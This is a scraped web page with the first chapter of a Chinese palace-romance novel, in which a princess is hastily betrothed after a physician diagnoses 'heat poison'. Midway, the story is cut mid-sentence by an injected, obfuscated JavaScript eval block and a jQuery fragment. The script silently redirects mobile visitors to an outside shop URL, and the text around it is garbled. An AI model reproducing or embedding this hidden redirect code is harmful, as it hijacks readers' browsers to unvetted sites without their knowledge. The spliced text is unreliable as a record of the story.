文趣网 > 其他小说 > 全京城都没驸马好使 > 1. 第 1 章
    知乐殿内,皇后捧了一幅画卷指给身旁美玉一般的小姑子看。

    “此人如何?靖安侯裴砚,年方弱冠,十八中进士,如今在户部任职。其人举止端方,言谈清雅,相貌也极为出挑。”

    萧兰因只瞥了一眼,“尚可。”

    皇后哪听不出她在敷衍,也是没辙,若不是皇帝再三催促,这差事她压根不想揽。

    说起来也是一桩荒唐事。太上皇禅位后带着太后去游山玩水,不知在何处撞上个江湖术士,断言他二人膝下一儿一女,儿子无虞,可女儿今年再不成婚,便要香消玉殒。

    这等江湖骗子的话,搁谁听不是一笑了之?偏这两位信了,还立刻传信回来,命皇帝尽快给琼华遴选驸马,务必在年关前成婚。

    皇帝虽然不信,可太上皇发了话,也只能照办。眼下已入六月,统共也就剩半年。

    他心里倒有不少人选,很快挑了几个出来,打发皇后过来探萧兰因的口风,看哪个能入她眼,也好及早定下,赶在年关前把婚事办了。

    萧兰因心中实属无奈。她并非不懂二老盼孙心切,可他们催促皇兄不就够了,怎的忽然把火烧到她身上,还煞费苦心编出番江湖术士的鬼话来唬她。

    她想起京城传得沸沸扬扬的流言,道:“我听闻这位靖安侯与文昭侯世子形影不离,似有龙阳之好。”

    皇后自然听过些风言风语,还去问过皇帝,可皇帝只道是无稽之谈,她也只好转圜道:“你皇兄说他二人不过是脾性相投,走得近了些罢了。那些嚼舌根的,没准儿是曾向他们示好遭了拒,吃不着葡萄说葡萄酸呢。”

    又叫一旁候着的宫女,将文昭侯世子顾行止的画像也取来给萧兰因瞧。

    “这位顾世子,相貌也是一等一的好。京中不知多少闺秀对他青睐有加,可他洁身自好,从未与哪家闺秀有过牵扯,那些纨绔子弟流连花街柳巷的做派,也是一概没有的。”

    萧兰因心知皇嫂是出于好意。寻常闺秀及笄议亲,她及笄已有两年多了,如今相看人家算迟了,只是她的性子,越是被逼着去做什么事,她越是不想做呢。

    婉言道:“且不论那龙阳之好是真是假,我还听闻这位靖安侯眼高于顶,最是吹毛求疵,不好相与。皇兄也太想当然了,万一人家压根看不上我,岂不是强人所难?”

    皇后好笑道:“凭咱们兰因的才情相貌,他岂有看不上的道理?能尚公主,那是他几世修来的福分,保不齐心里头早盼着了。”

    也非她自夸,自家这位小姑子实是美得不可方物。她未嫁入皇家时,便曾听闻满昭京的少年郎皆视其为梦中仙侣、心头明月。他裴砚再眼高于顶,见了这等人物,也是要折腰的。

    再者,那传言也着实言过其实。这位靖安侯不过是为人严谨了些,皇帝对他颇为赏识,赞他精于算术、心细如发,经手账目从未出过一丝差错。

    各地赋税、漕粮折色、银钱出入库,他都记得一清二楚。户部不少同僚都怕了他每月核账时那份穷追不舍的劲头,也不知怎的,传到外头就成了吹毛求疵。

    萧兰因实在头疼。裴砚也好,顾行止也罢,别家闺秀倾慕,尽可由着她们相看去,她实无那份心思。看也未看,便将顾行止的画像递还了皇后身侧的宫女,道:“皇嫂,我有些乏了,想歇会儿。”

    皇后哪能不知这是托辞,又将手里成国公嫡长孙卫屿的画卷往前推了推,温声道:“还有几位,你看完再歇不迟。”

    萧兰因蹙起眉,作势揉了揉太阳穴。

    她身边伺候的宫女沉绿也是个机灵的,赶忙接话道:“这天儿热得邪性,公主不会是中了暑吧?”

    说着便唤外殿候着的拂枝去备热水,又吩咐另一个宫女银匙去冰井镇碗酸梅汤来,嘴里还念叨着“公主这一脸的汗,可别中了暑气才好”,张罗着要服侍公主沐浴。

    都到这份儿上了,皇后也不好强留,只嘱咐道:“好生伺候公主歇着,这些画像过两日再看不迟。”

    随即将那几幅画卷都放在了案上,带着两个宫女起身离去。

    萧兰因望着案上那一排画卷,只觉得比中暑还头疼。

    拂枝备好热水回来禀报,见公主歪在椅上,一副娇慵模样,不由双颊微热,敛裾垂首道:“公主可是倦了?奴婢扶您去榻上歇息片刻?”

    萧兰因道:“先沐浴吧,出了一身汗。”

    沉绿忙上前,与拂枝一道虚扶着公主,引她往浴池去了。

    知乐殿一年四季早晚都备着热水,唯池水须现用现放。此外因公主自幼体弱,入浴还需佐以太医特调的养生汤,既能强身健体,亦可润肤养颜,那方子须现配现用,丝毫怠慢不得。

    先前沉绿叫拂枝去备热水,原不过是做给皇后看的。偏拂枝这丫头心眼实,当真以为公主要沐浴,已将香汤备得妥妥当当。

    萧兰因也确实乏了,到了浴池,由着两个丫头褪去衣物,步入汤池。温水漫过肌肤,她闭目倚在池沿,任侍女轻按肩颈,方才那点烦闷也随水汽氤氲开去。

    泡得身子软了,这才起身,由着两个丫头替她换上素纱寝衣。

    待收拾妥当,回到内殿躺下,不多时沉沉睡去。

    不知睡了多久,但觉身子忽地燥热起来。她蹙眉扯开领口,喉间溢出一声细碎嘤咛,似嗔似怯。

    沉绿和拂枝一道守在外殿,隐约听见些动静,沉绿叫拂枝候着,自己进去看看,走进内殿,那一声声嘤咛便清晰起来,娇软入骨。

    她听得面红耳赤,迟疑片刻,还是揭开了帐帘。只见公主满面潮红,身子微扭,似在梦中辗转。

    沉绿脸上一热,忙将帐帘放下。心下猜测,公主这模样,许是梦见什么不可说之事了,脸更红了。

    悄步退出外殿,拂枝见她脸红成这样,问她怎么了,沉绿只道暑热,拂枝信以为真,不再多问。

    沉绿去洗了把脸,也将方才之事放下了。

    守到日头偏西,想着公主也该醒了,遣了银匙去御膳房传几道公主素日爱吃的菜,等公主醒来正好趁热用上。

    不料天色渐暗,公主依旧毫无转醒的迹象。

    这样睡法莫不是饿坏了身子?沉绿这才有些忧心,走到榻前低唤了几声。

    可任她怎么唤,公主都毫无回应,似陷在什么挣不脱的梦里。

    沉绿顿时慌了神,忙遣拂枝去请御医。

    御医来得很快,仍是那位一贯替萧兰因调理身体的院正方御医。几针扎下去,萧兰因面上的异色总算褪了。

    方御医收回银针,问道:“公主今日饮食起居可有异常?”

    沉绿忙道:“公主今早卯时起的身,早膳用了小半碗红枣糯米粥,几块枣泥山药糕,饮了半盏热露水,之后在殿中抄了半卷经。再后来,皇后娘娘驾临,与公主同用午膳,膳点都是御膳房备的,有清炖鸽子汤、翡翠虾仁、蟹粉豆腐……公主胃口倒是比往日好些,用了大半碗米饭,还用了一小碗鸡丝银芽面。皇后娘娘走后,公主沐浴更衣,便歇下了。一切如常,并无不妥。”

    “唯一不寻常的,是公主睡下不久,奴婢听见里头有些平日没有的动静,凑近一看,公主正说着呓语,脸烧得红扑扑的,睡姿也不似平日雅观,旁的就没了。”

    方御医听罢,又将那养生汤的方子取来细看。方子还没放下,外头报皇帝到了。显然消息传得快,皇帝来得也急,进殿便问:“琼华如何了?”

    方御医沉吟道:“方才老臣为公主诊脉,脉象中似郁有热毒。”

    “热毒?”皇帝眉头微蹙,“好端端的,怎会郁了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684492|207777||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    热毒?”

    方御医道:“老臣观公主脉象,气血偏热,又用这温补方子泡了药浴,许是里头的药材大补气血,两相相激,热毒郁结于内了。”

    皇帝面色一沉:“这方子不是你开的?”

    方御医后背一紧,垂首道:“是老臣开的。老臣每隔旬日为公主诊脉调方,公主素来体寒,按理不该骤然转热,老臣也不知是哪里出了岔子……”

    皇帝已无心听他分辩:“行了,说怎么治。”

    方御医忙道:“回陛下,改方子也行得通,只是须用寒药压制。寒药压热,终非长久之计,药力一过,势必反噬伤身。公主体质本弱,怕的是伤了根本。”

    他略一迟疑,又道:“另有一法,或可借男女之事,顺其性而导之,使热毒有处宣泄,兴许不日便可拔除根由。若不然,郁结日久,血热攻心,只恐性命有虞……”

    皇帝暗忖莫不是那江湖术士所言,正应在此?若当真如此,倒该早些替这丫头定下亲事才是。

    皇帝轰走这庸医,也无心久留,径直回了寝殿,见了皇后便问:“白日里试探得如何?琼华对哪个更中意?”

    皇后无奈道:“琼华只瞧了一眼靖安侯的画像,说了句尚可,余下的看也没看。”

    “既如此,就裴砚吧。”皇帝道,“既说尚可,相貌定是能入眼的。这丫头,朕还不了解,就好个皮相。”

    皇后蹙眉:“陛下,是不是太草率了些?”

    皇帝浑不以为意:“这丫头如今哪还等得及?先保住小命要紧。往后日子若真过不下去,大不了再换一个驸马。”

    说罢拂了拂袖,“朕这就拟旨给裴爱卿,尚宫局那边也吩咐下去,让他们好生操办。”

    皇后张了张嘴,终究没再说什么。

    也不知过了多久,萧兰因迷迷糊糊醒来,唤了一声:“来人。”

    帐外侍立的沉绿闻声,即刻掀开纱幔:“公主醒了?奴婢在此。可要先用些莲子羹垫垫肚子?”

    萧兰因见殿内已掌了灯,不由道:“我这是睡了多久?”

    沉绿一边扶她坐起,一边往她背后垫了个软枕,回道:“公主足足睡了三个时辰,这会儿已经戌时了。”

    竟睡了这许久,怎么还觉着没睡够似的。萧兰因撑身坐起,发觉衣衫凌乱,纳闷自己睡相何时这般差了。

    她自行披好罗衫,抬手理着襟口,“先梳洗吧。这天气实在闷得慌,睡得人骨头都懒了。”

    沉绿这便先伺候她梳洗,又唤银匙端了碗莲子羹来,让公主先垫垫,再传膳。

    见公主用起来了,她才斟酌着开口:“公主,方才您睡下后似梦魇了,奴婢们请了御医过来,连陛下都惊动了。”

    “啊?”萧兰因一惊,自己不过是睡了一觉,竟还折腾出这般动静?

    “来的是方御医,您知道的,他老人家上了年纪,说了一大通文绉绉的,奴婢听了半天也就记住了几句,说是您身上郁了热毒,若要根治,只能借男女之事,若不然,有性命之忧……”

    萧兰因脸色微变。

    “不会是皇兄为了催我成婚,叫方御医编排了一通瞎话吧?”

    沉绿连忙摇头:“是奴婢亲眼所见,您热毒发作,奴婢叫了您许久,也没把您叫醒,这才去请了御医,方御医过来给您扎了几针,您那热毒才暂时镇下去了。”

    萧兰因还是有些将信将疑,她还闻所未闻,这男女之事还能救命的。

    沉绿觑着她神色,小心翼翼道:“陛下已经下了旨,钦点靖安侯裴砚为驸马,半月后大婚。”

    “什么?”萧兰因猛地站起身来,又惊又怒。不过睡一觉的功夫,皇兄把她终身定了,还只给半个月准备!哪家女儿出嫁不是提前半年操办起来的?何况她还是公主。